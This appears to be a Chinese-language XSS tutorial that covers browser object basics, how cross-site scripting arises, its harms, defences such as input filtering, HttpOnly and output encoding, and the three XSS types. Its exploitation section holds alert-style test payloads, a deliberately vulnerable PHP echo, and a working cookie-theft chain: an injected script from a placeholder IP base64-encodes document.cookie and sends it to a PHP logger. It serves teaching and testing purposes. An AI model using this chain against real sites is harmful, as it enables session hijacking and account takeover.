标签:XSS跨站浏览器DOM用户漏洞cookiedocument
0x00 XSS 前置知识
什么是 BOM
<script>
document.write(location.pathname);
</script>
<script>
txt = "浏览器代号:" + navigator.appCodeName + "
";
txt += "浏览器名称:" + navigator.appName + "
";
txt += "浏览器版本:" + navigator.appVersion + "
";
txt += "启用Cookies:" + navigator.cookieEnabled + "
";
txt += "硬件平台:" + navigator.platform + "
";
txt += "用户代理:" + navigator.userAgent + "
";
txt += "用户代理语言:" + navigator.systemLanguage + "
";
document.write(txt);
</script>
0x01 XSS 漏洞概述
漏洞的介绍
漏洞的位置
0x02 XSS 漏洞原理
xss攻击的是用户,不能直接getshell
原理图解
// 服务端代码:
<?php
$input = $_GET["test"];
echo $input;
?>
// 用户提交:
<script>alert(/xss/)</script>
XSS 漏洞产生的两个条件
可以控制的输入点
输入能返回到前端页面上被浏览器当成脚本语言解释执行
0x03 XSS 漏洞危害
漏洞的危害
窃取用户 Cookie,冒充用户身份进入网站 (常见)
键盘记录
客户端信息探查
劫持用户会话,执行任意操作
刷流量,执行弹窗广告
传播蠕虫病毒
......
0x04 XSS 漏洞防御
使用** XSS Filter** :XSS Filter的作用是过滤用户(客户端)提交的有害信息 ,从而达到防范XSS攻击的效果
输入过滤 :永远不要相信用户的输入",对于用户输入一定要过滤
输入验证 :对用户提交的信息进行有效验证 (是否仅包含合法字符、字符串长度限制、输入是否符合特殊的格式要求等等)
http-only :HttpOnly是包含在http返回头Set-Cookie里面的一个附加的flag,所以它是后端服务器对cookie设置的一个附加的属性,在生成cookie时使用HttpOnly标志有助于减轻客户端脚本访问受保护cookie的风险(如果浏览器支持的话)通过js脚本将无法读取到cookie信息(document.cookie)跨站脚本攻击漏洞,这样能有效的防止XSS攻击。
输出编码 (htmlspecialchars函数 ):HTML编码主要是用对应的HTML实体代替字符
0x05 XSS 漏洞分类反射型XSS
<script>alert('xss')</script> //常用
<script>confirm('xss')</script>
<script>prompt('xss')</script>
<script>console.log('xss')</script>
存储型XSS
DOM型XSS
攻击者构造出特殊的URL,其中包含恶意代码。用户打开带有恶意代码的URL
用户浏览器接收到响应后解析执行跨站脚本攻击漏洞,前端 JavaScript取出URL中的恶意代码并执行。
恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
三种类型的区别0x06 XSS漏洞利用XSS 简单利用Cookie获取
//插入脚本
<script src='http://IP/xss.js'></script>
// xss.js
s=document.createElement('script');
s.src='http://IP/xss.php?cookie='+btoa(document.cookie);
document.body.appendChild(s)
// xss.php
<?php
$a = $_GET['cookie'];
$fp = fopen('xss.txt','a');
fwrite($fp,$a);
fclose($fp);
?>
键盘记录
test
1
XSS 基本构造(5种)利用 构造 HTML/JS
标签:XSS,跨站,浏览器,DOM,用户,漏洞,cookie,document